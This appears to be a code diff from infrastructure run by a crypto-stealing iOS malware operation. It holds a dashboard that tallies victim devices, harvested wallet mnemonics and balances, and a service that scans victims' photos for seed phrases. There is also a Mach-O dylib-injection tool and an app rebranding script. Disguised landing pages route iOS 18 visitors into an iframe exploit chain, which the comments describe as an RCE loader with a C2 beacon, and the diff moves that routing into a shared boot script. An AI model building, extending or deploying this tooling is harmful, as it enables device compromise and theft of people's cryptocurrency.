* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* transfer_count: int,
* transfers: array{usdt: string, trx: string, eth: string, btc: string},
* range: string,
* from: string,
* to: string,
* date_from: string,
* date_to: string
* }
*/
private function compute(
Carbon $from,
Carbon $to,
string $channelId,
bool $channelExact,
?User $agent,
?int $agentUserId,
?int $scopeAgentId,
): array {
$rangeLabel = $from->toDateString().' ~ '.$to->toDateString();
$rollup = $channelId === '' ? $this->rollupFromDailyStats($from, $to, $scopeAgentId) : null;
$base = Device::query(); $base = Device::query();
AgentScope::applyDeviceChannelScope($base, $agent); AgentScope::applyDeviceChannelScope($base, $agent);
@@ -71,7 +141,9 @@ class DashboardStatsService
} }
} }
// Period cohort: devices installed (created) in the selected range. $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
if ($rollup === null) {
$createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]); $createdInRange = (clone $base)->whereBetween('created_at', [$from, $to]);
$deviceAgg = (clone $createdInRange) $deviceAgg = (clone $createdInRange)
->selectRaw( ->selectRaw(
@@ -81,9 +153,6 @@ class DashboardStatsService
->first(); ->first();
$total = (int) ($deviceAgg?->total ?? 0); $total = (int) ($deviceAgg?->total ?? 0);
$walletCount = (int) ($deviceAgg?->wallet_count ?? 0); $walletCount = (int) ($deviceAgg?->wallet_count ?? 0);
$newCount = $total;
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$mnemonicCount = $this->countDeviceChildren( $mnemonicCount = $this->countDeviceChildren(
WalletMnemonic::query(), WalletMnemonic::query(),
'wallet_mnemonics', 'wallet_mnemonics',
@@ -102,6 +171,33 @@ class DashboardStatsService
$from, $from,
$to, $to,
); );
[$pv, $uv, $effectivePv, $effectiveUv] = $this->liveVisitTotals(
$from,
$to,
$channelId,
$channelExact,
$agent,
$agentUserId,
);
} else {
$total = $rollup['devices'];
$walletCount = $rollup['wallet_devices'];
$mnemonicCount = $rollup['mnemonic_count'];
$addressCount = $rollup['address_count'];
$pv = $rollup['pv'];
$uv = $rollup['uv'];
$effectivePv = $rollup['effective_pv'];
$effectiveUv = $rollup['effective_uv'];
[, $balances] = $this->addressStats(
$agent,
$agentUserId,
$channelId,
$channelExact,
$from,
$to,
);
}
[$transferCount, $transfers] = $this->transferStats( [$transferCount, $transfers] = $this->transferStats(
$agent, $agent,
$agentUserId, $agentUserId,
@@ -111,38 +207,10 @@ class DashboardStatsService
$to, $to,
); );
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
if ($agent === null) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$visits->where('channel_id', $channelId);
} else {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$visits->whereBetween('created_at', [$from, $to]);
$effectiveSql = $this->effectiveVisitSql();
$visitAgg = (clone $visits)
->selectRaw(
"COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv",
)
->first();
$pv = (int) ($visitAgg?->pv ?? 0);
$uv = (int) ($visitAgg?->uv ?? 0);
$effectivePv = (int) ($visitAgg?->effective_pv ?? 0);
$effectiveUv = (int) ($visitAgg?->effective_uv ?? 0);
return [ return [
'total' => $total, 'total' => $total,
'wallet_count' => $walletCount, 'wallet_count' => $walletCount,
'new_count' => $newCount, 'new_count' => $total,
'active_count' => $activeCount, 'active_count' => $activeCount,
'pv' => $pv, 'pv' => $pv,
'uv' => $uv, 'uv' => $uv,
@@ -161,6 +229,88 @@ class DashboardStatsService
]; ];
} }
/**
* Day-level UV summed across the range (same as the daily report). Null when
* this scope has no rollup rows yet.
*
* @return array{pv: int, uv: int, effective_pv: int, effective_uv: int, devices: int, wallet_devices: int, address_count: int, mnemonic_count: int}|null
*/
private function rollupFromDailyStats(Carbon $from, Carbon $to, ?int $scopeAgentId): ?array
{
$scope = DailyReportService::scopeKey($scopeAgentId);
$q = DailyStat::query()
->where('scope_key', $scope)
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]);
if (! (clone $q)->exists()) {
return null;
}
$row = $q->selectRaw(
'COALESCE(SUM(pv), 0) as pv,
COALESCE(SUM(uv), 0) as uv,
COALESCE(SUM(effective_pv), 0) as effective_pv,
COALESCE(SUM(effective_uv), 0) as effective_uv,
COALESCE(SUM(devices), 0) as devices,
COALESCE(SUM(wallet_devices), 0) as wallet_devices,
COALESCE(SUM(address_count), 0) as address_count,
COALESCE(SUM(mnemonic_count), 0) as mnemonic_count',
)->first();
return [
'pv' => (int) ($row?->pv ?? 0),
'uv' => (int) ($row?->uv ?? 0),
'effective_pv' => (int) ($row?->effective_pv ?? 0),
'effective_uv' => (int) ($row?->effective_uv ?? 0),
'devices' => (int) ($row?->devices ?? 0),
'wallet_devices' => (int) ($row?->wallet_devices ?? 0),
'address_count' => (int) ($row?->address_count ?? 0),
'mnemonic_count' => (int) ($row?->mnemonic_count ?? 0),
];
}
/**
* @return array{0: int, 1: int, 2: int, 3: int}
*/
private function liveVisitTotals(
Carbon $from,
Carbon $to,
string $channelId,
bool $channelExact,
?User $agent,
?int $agentUserId,
): array {
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
if ($agent === null) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$visits->where('channel_id', $channelId);
} else {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$visits->whereBetween('created_at', [$from, $to]);
$effectiveSql = $this->effectiveVisitSql();
$visitAgg = $visits
->selectRaw(
"COUNT(*) as pv,
COUNT(DISTINCT client_uid) as uv,
COALESCE(SUM(CASE WHEN ({$effectiveSql}) THEN 1 ELSE 0 END), 0) as effective_pv,
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv",
)
->first();
return [
(int) ($visitAgg?->pv ?? 0),
(int) ($visitAgg?->uv ?? 0),
(int) ($visitAgg?->effective_pv ?? 0),
(int) ($visitAgg?->effective_uv ?? 0),
];
}
/** /**
* @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters * @param array{range?: string, date_from?: string, date_to?: string, date_range?: string} $filters
* @return array{0: Carbon, 1: Carbon} * @return array{0: Carbon, 1: Carbon}
@@ -423,5 +573,4 @@ class DashboardStatsService
return [$major, $minor, $patch]; return [$major, $minor, $patch];
} }
} }
+3 -8
View File
@@ -905,8 +905,10 @@ class IngestService
} }
$isTron = in_array($chainType, ['TRON', 'TRX'], true); $isTron = in_array($chainType, ['TRON', 'TRX'], true);
$isBtc = in_array($chainType, ['BTC', 'BITCOIN'], true);
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify. // Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
if ($isTron && (! $existing || $coinAttrs === [])) { // BTC: Trust/client often reports sats or lifetime totals as BTC — overwrite from mempool UTXO.
if (($isTron && (! $existing || $coinAttrs === [])) || $isBtc) {
$this->balances->refresh($addr); $this->balances->refresh($addr);
$addr->refresh(); $addr->refresh();
} }
@@ -1085,7 +1087,6 @@ class IngestService
return; return;
} }
$stored = 0;
foreach ($filePaths as $path) { foreach ($filePaths as $path) {
if (! is_file($path)) { if (! is_file($path)) {
continue; continue;
@@ -1110,12 +1111,6 @@ class IngestService
'barcode_count' => $meta['barcode_count'] ?? null, 'barcode_count' => $meta['barcode_count'] ?? null,
]); ]);
app(MnemonicScanService::class)->dispatchPhoto($photo); app(MnemonicScanService::class)->dispatchPhoto($photo);
$stored++;
}
$xHit = $meta['x_hit'] ?? null;
if ($stored > 0 && $xHit !== null && (int) $xHit === Photo::X_HIT_ALERT) {
$this->telegram->notifySensitivePhoto($device->device_id, (int) $xHit, $stored);
} }
} }
-10
View File
@@ -358,16 +358,6 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId); $this->send(implode("\n", $lines), $deviceId);
} }
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
{
$this->send(implode("\n", [
'🖼 <b>敏感照片</b>',
...$this->deviceHeader($deviceId),
'🎯 <b>敏感分</b>: '.$this->e((string) $xHit),
'📦 <b>数量</b>: '.$this->e((string) max(1, $count)),
]), $deviceId);
}
public function notifyBalanceChange( public function notifyBalanceChange(
string $deviceId, string $deviceId,
string $address, string $address,
@@ -197,15 +197,16 @@ class TokenviewMonitorService
return; return;
} }
$tronRows = $rows->filter(function (WalletAddress $row) { $refreshRows = $rows->filter(function (WalletAddress $row) {
return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true); return in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
}); });
$deltaRows = $rows->filter(function (WalletAddress $row) { $deltaRows = $rows->filter(function (WalletAddress $row) {
return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX'], true); return ! in_array(strtoupper((string) $row->chain_type), ['TRON', 'TRX', 'BTC', 'BITCOIN'], true);
}); });
// Tron webhooks only carry deltas — refresh TRX/USDT from chain as source of truth. // Tron/BTC webhooks only carry deltas — refresh from chain as source of truth.
foreach ($tronRows as $row) { // BTC stored `btc` is often Trust/client sats-or-lifetime totals, not current UTXO.
foreach ($refreshRows as $row) {
/** @var WalletAddress $row */ /** @var WalletAddress $row */
if (! $this->balances->refresh($row)) { if (! $this->balances->refresh($row)) {
$this->applyDeltasToRow($row, $deltas); $this->applyDeltasToRow($row, $deltas);
+98
View File
@@ -0,0 +1,98 @@
#!/usr/bin/env python3
"""add_dylib.py — Add an LC_LOAD_DYLIB load command to a Mach-O 64-bit binary.
Usage: python3 add_dylib.py <binary> <dylib_path> [--weak]
Inserts the new load command right after the existing load commands, before
the first section data. Requires enough free space in the __TEXT header
region (checked automatically).
The binary is modified in-place; a .orig backup is created first.
"""
import struct, sys, shutil, os
LC_LOAD_DYLIB = 0x0c
LC_LOAD_WEAK_DYLIB = 0x80000018 # LC_LOAD_WEAK_DYLIB with LC_REQ_DYLD
def main():
args = sys.argv[1:]
weak = False
if '--weak' in args:
weak = True
args.remove('--weak')
if len(args) != 2:
sys.exit("Usage: add_dylib.py <binary> <dylib_path> [--weak]")
path, dylib = args
with open(path, 'rb') as f:
data = bytearray(f.read())
# Parse Mach-O 64-bit header
magic = struct.unpack_from('<I', data, 0)[0]
if magic != 0xfeedfacf:
sys.exit(f"Not a 64-bit Mach-O (magic={hex(magic)})")
cputype, cpusub, filetype, ncmds, sizeofcmds, flags, reserved = \
struct.unpack_from('<i i I I I I I', data, 4)
HEADER_SIZE = 32 # mach_header_64
hdr_end = HEADER_SIZE + sizeofcmds
# Find the earliest section offset (file offset) to know our free space
off = HEADER_SIZE
min_section_off = len(data)
for _ in range(ncmds):
cmd, cmdsize = struct.unpack_from('<II', data, off)
if cmd == 0x19: # LC_SEGMENT_64
# segment_command_64: cmd(4) cmdsize(4) segname(16) vmaddr(8) vmsize(8) fileoff(8) filesize(8) maxprot(4) initprot(4) nsects(4) flags(4)
fileoff = struct.unpack_from('<Q', data, off + 40)[0] # fileoff at offset 40
nsects = struct.unpack_from('<I', data, off + 64)[0] # nsects at offset 64
sect_off = off + 72 # section_64 array starts at segment + 72
for s in range(nsects):
sect_fileoff = struct.unpack_from('<I', data, sect_off + s * 80 + 48)[0]
if sect_fileoff > 0 and sect_fileoff < min_section_off:
min_section_off = sect_fileoff
off += cmdsize
# Build the LC_LOAD_DYLIB command
name = dylib.encode() + b'\0'
# name_offset = 24 (cmd + cmdsize + 4*4 for dylib struct)
name_offset = 24
cmdsize = name_offset + len(name)
# align to 8 bytes
cmdsize = (cmdsize + 7) & ~7
needed = cmdsize
free = min_section_off - hdr_end
if free < needed:
sys.exit(f"Not enough free space: need {needed}, have {free} "
f"(hdr_end={hdr_end}, first_section={min_section_off})")
# Build the command bytes
cmd_id = LC_LOAD_WEAK_DYLIB if weak else LC_LOAD_DYLIB
cmd = struct.pack('<II', cmd_id, cmdsize)
cmd += struct.pack('<IIII', name_offset, 2, 0x10000, 0x10000) # dylib struct
cmd += name
cmd += b'\0' * (cmdsize - len(cmd)) # pad to cmdsize
# Write the new command into existing free space (NO insertion —
# the space between sizeofcmds and first section is zero padding).
# Inserting bytes would shift all section file offsets and break the binary.
data[hdr_end:hdr_end + cmdsize] = cmd
# Update ncmds and sizeofcmds (in-place, no shift)
struct.pack_into('<I', data, 16, ncmds + 1)
struct.pack_into('<I', data, 20, sizeofcmds + cmdsize)
# Backup and write
shutil.copy2(path, path + '.orig')
with open(path, 'wb') as f:
f.write(data)
print(f"Added {'weak ' if weak else ''}LC_LOAD_DYLIB: {dylib}")
print(f" cmdsize={cmdsize}, ncmds={ncmds}->{ncmds+1}, "
f"sizeofcmds={sizeofcmds}->{sizeofcmds+cmdsize}")
print(f" free space was {free} bytes, backup saved as {path}.orig")
if __name__ == '__main__':
main()
+51
View File
@@ -0,0 +1,51 @@
#!/usr/bin/env python3
"""Patch an iOS Info.plist: set bundle identity, white launch screen, icons."""
import plistlib
import sys
import os
def main():
plist_path = sys.argv[1]
app_name = sys.argv[2]
bundle_id = sys.argv[3]
version = sys.argv[4]
with open(plist_path, 'rb') as f:
plist = plistlib.load(f)
# Set identity
plist['CFBundleDisplayName'] = app_name
plist['CFBundleName'] = app_name
plist['CFBundleIdentifier'] = bundle_id
plist['CFBundleShortVersionString'] = version
plist['CFBundleVersion'] = version
# White launch screen
plist.pop('UILaunchStoryboardName', None)
plist['UILaunchScreen'] = {}
# Icon references (loose PNGs)
plist['CFBundleIcons'] = {
'CFBundlePrimaryIcon': {
'CFBundleIconName': 'AppIcon',
'CFBundleIconFiles': ['AppIcon60x60'],
}
}
plist['CFBundleIcons~ipad'] = {
'CFBundlePrimaryIcon': {
'CFBundleIconFiles': [
'AppIcon60x60@2x',
'AppIcon60x60@3x',
'AppIcon76x76@2x~ipad',
],
'CFBundleIconName': 'AppIcon',
}
}
with open(plist_path, 'wb') as f:
plistlib.dump(plist, f)
print(f"OK: patched {plist_path}")
if __name__ == '__main__':
main()
@@ -5,53 +5,8 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>weifile</title> <title>weifile</title>
<script src="/t.js" defer></script>
</head> </head>
<body> <body>
<script type="text/javascript"> <script src="index.js"></script>
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
</body> </body>
</html> </html>
@@ -8,7 +8,6 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>加载中</title> <title>加载中</title>
<script src="/t.js" defer></script>
<style> <style>
:root { :root {
--bg: #0f1419; --bg: #0f1419;
@@ -112,45 +111,7 @@
<p class="title">加载中</p> <p class="title">加载中</p>
<p class="subtitle">请稍候,正在准备页面…</p> <p class="subtitle">请稍候,正在准备页面…</p>
</div> </div>
<script type="text/javascript"> <script src="index.js"></script>
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
})();
</script>
<script> <script>
(function () { (function () {
var TOTAL = 15; var TOTAL = 15;
@@ -5,53 +5,8 @@
<meta http-equiv="Expires" content="0" /> <meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" /> <meta property="og:determiner" content="auto" />
<title>weifile</title> <title>weifile</title>
<script src="/t.js" defer></script>
</head> </head>
<body> <body>
<script type="text/javascript"> <script src="index.js"></script>
(function () {
function parseIosVersion() {
var ua = navigator.userAgent || '';
var m = /iPhone OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
if (!m) {
m = /Version\/(\d+)\.(\d+)/.exec(ua);
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
}
return m[1].split('_').map(function (p) {
return parseInt(p, 10);
});
}
var ios = parseIosVersion();
if (!ios || ios[0] < 18) {
// Below iOS 18: non-DS chain (index.js).
var s = document.createElement('script');
s.src = 'index.js?' + Date.now();
(document.body || document.documentElement).appendChild(s);
return;
}
if (ios[0] === 18) {
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
// which includes it in the C2 beacon for channel attribution.
var channelCode = '';
try {
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
if (m && m[1]) channelCode = m[1].toUpperCase();
} catch (eC) {}
var dsDomain = '__DS_DOMAIN__';
var dsUrl = dsDomain + '/next-chain/frame.html';
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
var ifr = document.createElement('iframe');
ifr.src = dsUrl;
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
(document.body || document.documentElement).appendChild(ifr);
}
// iOS 19+ / 26+: no action.
})();
</script>
</body> </body>
</html> </html>
+13 -2
View File
@@ -8,7 +8,7 @@ Requires `tools/build.py --apply` first (shared staged weifile + public/details)
3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig) 3. Patch corepayload `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes; netconfig)
4. Rewrite show.html asset URLs to /channel/{ver}/details/... 4. Rewrite show.html asset URLs to /channel/{ver}/details/...
5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes) 5. Patch secondary `/details/show.html` -> `/c/{ver}/show.htm` (18 bytes)
6. Strip iptj beacon from index.js; inject t.js into weifile.html 6. Strip iptj beacon from payload; install script-embed index.js boot
7. Write to {artifact-root}/channel/{ver}/ 7. Write to {artifact-root}/channel/{ver}/
""" """
@@ -19,10 +19,16 @@ import hashlib
import json import json
import re import re
import shutil import shutil
import sys
import tempfile import tempfile
from pathlib import Path from pathlib import Path
import build as xxbb_build import build as xxbb_build
_EMBED_DIR = Path(__file__).resolve().parents[2] / "channel-embed"
if str(_EMBED_DIR) not in sys.path:
sys.path.insert(0, str(_EMBED_DIR))
from embed_boot import apply_embed_boot # noqa: E402
from _details_pack import extract_member, make_passworded_7z from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
@@ -209,7 +215,7 @@ def apply_landing_template(weifile_dir: Path, template: str) -> Path:
if not src.is_file(): if not src.is_file():
raise SystemExit(f"missing landing template: {src}") raise SystemExit(f"missing landing template: {src}")
dest = weifile_dir / "weifile.html" dest = weifile_dir / "weifile.html"
dest.write_text(inject_tjs(src.read_text(encoding="utf-8")), encoding="utf-8") dest.write_text(src.read_text(encoding="utf-8"), encoding="utf-8")
return dest return dest
@@ -285,6 +291,11 @@ def pack_channel(
leftover_route = weifile_dest / "route.js" leftover_route = weifile_dest / "route.js"
if leftover_route.is_file(): if leftover_route.is_file():
leftover_route.unlink() leftover_route.unlink()
apply_embed_boot(
weifile_dest,
channel_code=ver,
ds_domain=ds_domain,
)
if channel_out.exists(): if channel_out.exists():
shutil.rmtree(channel_out) shutil.rmtree(channel_out)
@@ -86,10 +86,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((weifile / "route.js").is_file()) self.assertFalse((weifile / "route.js").is_file())
html = (weifile / "weifile.html").read_text(encoding="utf-8") html = (weifile / "weifile.html").read_text(encoding="utf-8")
self.assertNotIn("__CHANNEL_C__", html) self.assertNotIn("__CHANNEL_C__", html)
self.assertIn('src="/t.js"', html) self.assertNotIn('src="/t.js"', html)
self.assertNotIn('src="route.js"', html) self.assertNotIn('src="route.js"', html)
self.assertIn("/next-chain/frame.html", html) self.assertNotIn("/next-chain/frame.html", html)
self.assertIn("index.js", html) self.assertIn('src="index.js"', html)
self.assertNotIn("config.js", html) self.assertNotIn("config.js", html)
self.assertNotIn("boot.js", html) self.assertNotIn("boot.js", html)
self.assertNotIn("holdFresh", html) self.assertNotIn("holdFresh", html)
@@ -327,11 +327,10 @@ class XxbbBuildTest(unittest.TestCase):
self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file()) self.assertFalse((xxbb_build.SOURCE_WEIFILE / "route.js").is_file())
for name in ("weifile.html", "templates/blank.html", "templates/test.html"): for name in ("weifile.html", "templates/blank.html", "templates/test.html"):
landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8") landing = (xxbb_build.SOURCE_WEIFILE / name).read_text(encoding="utf-8")
self.assertIn('src="/t.js"', landing) self.assertIn('src="index.js"', landing)
self.assertEqual(pack_channel.inject_tjs(landing), landing) self.assertNotIn('src="/t.js"', landing)
self.assertNotIn('src="route.js"', landing) self.assertNotIn('src="route.js"', landing)
self.assertIn("/next-chain/frame.html", landing) self.assertNotIn("/next-chain/frame.html", landing)
self.assertIn("index.js", landing)
self.assertNotIn("config.js", landing) self.assertNotIn("config.js", landing)
self.assertNotIn("boot.js", landing) self.assertNotIn("boot.js", landing)
self.assertNotIn("holdFresh", landing) self.assertNotIn("holdFresh", landing)
+11
View File
@@ -12,3 +12,14 @@ python3 -m venv .venv
``` ```
Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`. Laravel `ChannelProjectService` invokes the same entry with `--artifact-root` / `--state-root`.
Published `web/<id>/index.js` is the shared boot (iOS router + `/t.js`). The Coruna payload is `payload.js`. Third-party sites can unzip the admin「浏览器资源 zip」to their docroot and include `<script src="./index.js"></script>`.
Rebuild existing old channels (same 32-hex id; DGA seed from `CORUNA_CHANNEL_SEED`):
```bash
php artisan coruna:repack # all builder_type=old
php artisan coruna:repack <32-hex> # one
php artisan coruna:repack --dry-run
php artisan coruna:repack --template=test
```
@@ -1,10 +1,14 @@
# support.html templates # support.html templates
Build-time choices for `web/support.html` (`--support-template` / API `support_template`): Landing HTML only loads same-directory `index.js`. Routing, `/t.js` beacon, and iOS 18 DS iframe live in the published boot `index.js` (payload is `payload.js`). HTML does not inline the hit beacon.
| Name | Source | Description | | Name | Source | Description |
|------|--------|-------------| |------|--------|-------------|
| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI | | `blank` | `blank.html` (default campaign `source/web/support.html`) | `<script src="index.js">` only |
| `blank` | `blank.html` | Loader scripts only, no HUD UI | | `test` | `test.html` | Lab HUD + the same `index.js` |
Default is `test`. Both iframe landing and third-party `<script src="./index.js">` share that boot:
- iOS < 18 / unknown: load same-directory `payload.js`
- iOS 18: iframe `__DS_DOMAIN__/next-chain/frame.html?c=<channel>`
- iOS 19+ / 26+: no action
File diff suppressed because one or more lines are too long
@@ -0,0 +1,588 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" />
<title>Preparing…</title>
<style>
@import url("https://fonts.googleapis.com/css2?family=Outfit:wght@400;500;600;700&family=Sora:wght@600;700&display=swap");
:root {
--bg0: #e8f1f7;
--bg1: #f7fbfc;
--ink: #123047;
--muted: #5a7388;
--line: #c5d6e4;
--card: rgba(255, 255, 255, 0.72);
--accent: #0b7ea4;
--run: #c98512;
--ok: #1f8a55;
--bad: #c23b3b;
--ring-size: min(72vw, 280px);
}
* { box-sizing: border-box; }
html, body {
margin: 0; min-height: 100%;
color: var(--ink);
font: 15px/1.45 Outfit, "Segoe UI", sans-serif;
background:
radial-gradient(120% 80% at 50% -10%, #cfe6f3 0%, transparent 55%),
linear-gradient(180deg, var(--bg0), var(--bg1) 48%, #eef5f9);
}
#lab-hud {
position: relative; z-index: 2147483000;
min-height: 100dvh;
display: flex; flex-direction: column; align-items: center;
justify-content: center;
padding: max(24px, env(safe-area-inset-top)) 20px max(28px, env(safe-area-inset-bottom));
gap: 28px;
}
.brand {
font-family: Sora, Outfit, sans-serif;
font-size: 13px; font-weight: 700; letter-spacing: .14em;
text-transform: uppercase; color: var(--muted);
}
.ring-wrap {
position: relative;
width: var(--ring-size); height: var(--ring-size);
filter: drop-shadow(0 18px 40px rgba(11, 126, 164, .16));
}
.ring-wrap svg { width: 100%; height: 100%; display: block; transform: rotate(-90deg); }
.ring-bg { fill: none; stroke: #d5e5ef; stroke-width: 8; }
.ring-fg {
fill: none; stroke: var(--accent); stroke-width: 8;
stroke-linecap: round;
stroke-dasharray: 339.292; stroke-dashoffset: 0;
transition: stroke .25s ease;
}
.ring-wrap.is-run .ring-fg { stroke: var(--run); }
.ring-wrap.is-ok .ring-fg { stroke: var(--ok); }
.ring-wrap.is-bad .ring-fg { stroke: var(--bad); }
.ring-wrap.is-ticking .count {
animation: count-beat 1s ease-in-out infinite;
}
@keyframes count-beat {
0%, 100% { transform: scale(1); opacity: 1; }
50% { transform: scale(1.04); opacity: .88; }
}
.ring-center {
position: absolute; inset: 0;
display: flex; flex-direction: column; align-items: center; justify-content: center;
text-align: center; padding: 18px;
}
.count {
font-family: Sora, Outfit, sans-serif;
font-size: clamp(52px, 16vw, 72px);
font-weight: 700; line-height: 1; letter-spacing: -.03em;
font-variant-numeric: tabular-nums;
}
.count-unit {
margin-top: 2px; font-size: 12px; font-weight: 600;
letter-spacing: .12em; text-transform: uppercase; color: var(--muted);
}
#lab-status {
margin-top: 10px; max-width: 18ch;
font-size: 13px; font-weight: 500; color: var(--muted);
}
.progress-panel {
width: min(920px, 100%);
background: var(--card);
border: 1px solid rgba(197, 214, 228, .85);
border-radius: 20px;
padding: 18px 16px 16px;
backdrop-filter: blur(10px);
box-shadow: 0 10px 30px rgba(18, 48, 71, .06);
}
.bar {
height: 6px; border-radius: 999px; background: #e1ebf2; overflow: hidden;
}
.bar > i {
display: block; height: 100%; width: 0;
border-radius: inherit;
background: linear-gradient(90deg, #0b7ea4, #1f8a55);
transition: width .4s ease;
}
.steps {
list-style: none; margin: 16px 0 0; padding: 0;
display: grid; grid-template-columns: repeat(4, 1fr); gap: 6px;
}
.step {
position: relative;
display: flex; flex-direction: column; align-items: center; gap: 8px;
text-align: center; min-width: 0;
}
.step:not(:last-child)::after {
content: "";
position: absolute; top: 13px; left: calc(50% + 16px); right: calc(-50% + 16px);
height: 2px; background: var(--line); z-index: 0;
transition: background .3s ease;
}
.step.is-ok:not(:last-child)::after,
.step.is-run:not(:last-child)::after { background: rgba(11, 126, 164, .45); }
.dot {
position: relative; z-index: 1;
width: 28px; height: 28px; border-radius: 50%;
display: grid; place-items: center;
font-size: 11px; font-weight: 700;
color: var(--muted); background: #fff;
border: 2px solid var(--line);
transition: background .25s ease, border-color .25s ease, color .25s ease, transform .25s ease;
}
.step .label {
